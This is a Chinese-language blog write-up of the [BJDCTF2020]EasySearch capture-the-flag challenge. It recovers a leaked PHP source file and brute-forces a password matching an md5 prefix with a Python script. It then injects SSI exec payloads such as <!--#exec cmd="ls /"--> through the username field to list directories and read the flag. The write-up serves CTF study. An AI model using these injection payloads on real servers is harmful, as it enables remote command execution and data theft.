当前位置:网站首页>[BJDCTF2020]EasySearch
[BJDCTF2020]EasySearch
2022-08-05 03:52:00 【pakho_C】
[BJDCTF2020]EasySearch
一个登陆页面,尝试了弱口令 爆破 注入无果
扫描目录发现index.php.swp
<?php
ob_start();
function get_hash(){
$chars = '[email protected]#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = ' *** *** <h1>Hello,'.$_POST['username'].'</h1> *** ***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
?>
代码审计:
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
只要密码的md5值的前6位为6d0bc1即可登陆成功
参考爆破密码脚本:
import hashlib
for i in range(1000000000):
a = hashlib.md5(str(i).encode('utf-8')).hexdigest()#获取摘要值
if a[0:6] == '6d0bc1':
print("find password!"+str(i))
break

得到密码为 2020666
接着看到shtml页面
SSI注入参考:SSI注入
代码中生成了一个shtml页面,登陆后无法查看,抓包观察返回包:
访问该页面:
得到登陆信息
这里用到shtml,HTML是静态的,而shtml基于SSI技术,当有服务器端可执行脚本时被当作一种动态编程语言,所以可以注入,也可以用来远程命令执行。
它的注入格式是这样的:<!--#exec cmd="命令"-->
所以只需要将username设置为payload即可
首先探测根目录:<!--#exec cmd="ls /"-->

根目录没有,那查看当前目录:<!--#exec cmd="ls"-->
也没有
查看上级目录:<!--#exec cmd="ls ../"-->
找到flag文件
查看flag:username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->&&password=2020666
边栏推荐
- MySql index learning and use; (I think it is detailed enough)
- From "useable" to "easy to use", domestic software is self-controllable and continues to advance
- [论文笔记] MapReduce: Simplified Data Processing on Large Clusters
- Slapped in the face: there are so many testers in a certain department of byte
- DNS被劫持如何处理?
- How to wrap markdown - md file
- Redis1:Redis介绍、Redis基本特性、关系型数据库、非关系型数据库、数据库发展阶段
- 日志导致线程Block的这些坑,你不得不防
- Dameng 8 database export and import
- Android 面试题——如何徒手写一个非阻塞线程安全队列 ConcurrentLinkedQueue?
猜你喜欢
![[论文笔记] MapReduce: Simplified Data Processing on Large Clusters](/img/89/8adef42b0cfd154e6fa7205afaeade.png)
[论文笔记] MapReduce: Simplified Data Processing on Large Clusters

On governance and innovation, the 2022 OpenAtom Global Open Source Summit OpenAnolis sub-forum came to a successful conclusion

银行数据采集,数据补录与指标管理3大问题如何解决?

UE4 在游戏运行时更改变量 (通过鼠标滑轮来更改第一人称角色的最大行走速度)

UE4 第一人称角色模板 添加蹲伏功能

2022-08-04T17:50:58.296+0800 ERROR Announcer-3 io.airlift.discovery.client.Announcer appears after successful startup of presto

2022 High-level installation, maintenance, and removal of exam questions mock exam question bank and online mock exam

Bubble Sort and Quick Sort

UE4 为子弹蓝图添加声音和粒子效果
![[Paper Notes] MapReduce: Simplified Data Processing on Large Clusters](/img/89/8adef42b0cfd154e6fa7205afaeade.png)
[Paper Notes] MapReduce: Simplified Data Processing on Large Clusters
随机推荐
多御安全浏览器 V10.8.3.1 版正式发布,优化多项内容
Summary of common methods of arrays
Index Mysql in order to optimize paper 02 】 【 10 kinds of circumstances and the principle of failure
iMedicalLIS监听程序(2)
Walter talked little knowledge | "remote passthrough" that something
UE4 通过与其它Actor互动开门
leetcode-每日一题1403. 非递增顺序的最小子序列(贪心)
This year's Qixi Festival, "love vegetables" are more loving than gifts
将故事写成我们
Hard power or soft power, which is more important to testers?
2022 High-level installation, maintenance, and removal of exam questions mock exam question bank and online mock exam
ASP.NET application--Hello World
UE4 第一人称角色模板 添加生命值和调试伤害
[GYCTF2020]EasyThinking
UE4 更改组件变量 (以修改第一人称角色模板的最大行走速度和跳跃高度为例)
How to wrap markdown - md file
Web3.0 Dapps——通往未来金融世界的道路
Qixi Festival code confession
.NET Application -- Helloworld (C#)
There are several common event handling methods in Swing?How to listen for events?